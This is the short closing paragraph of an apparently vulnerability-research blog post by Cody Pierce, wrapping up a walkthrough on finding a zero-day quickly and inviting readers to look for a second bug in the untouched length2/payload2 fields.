I hope this has shed some light on how we go from 0 to 0day in under 30 minutes. With practice, you get use to all of this and it becomes very familiar. I'm also guessing this isn't the only bug, remember we never touched length2/payload2, so give it a try.
If you have any question or comments please leave them and i'll respond!
-Cody "Longest blog on internet" Pierce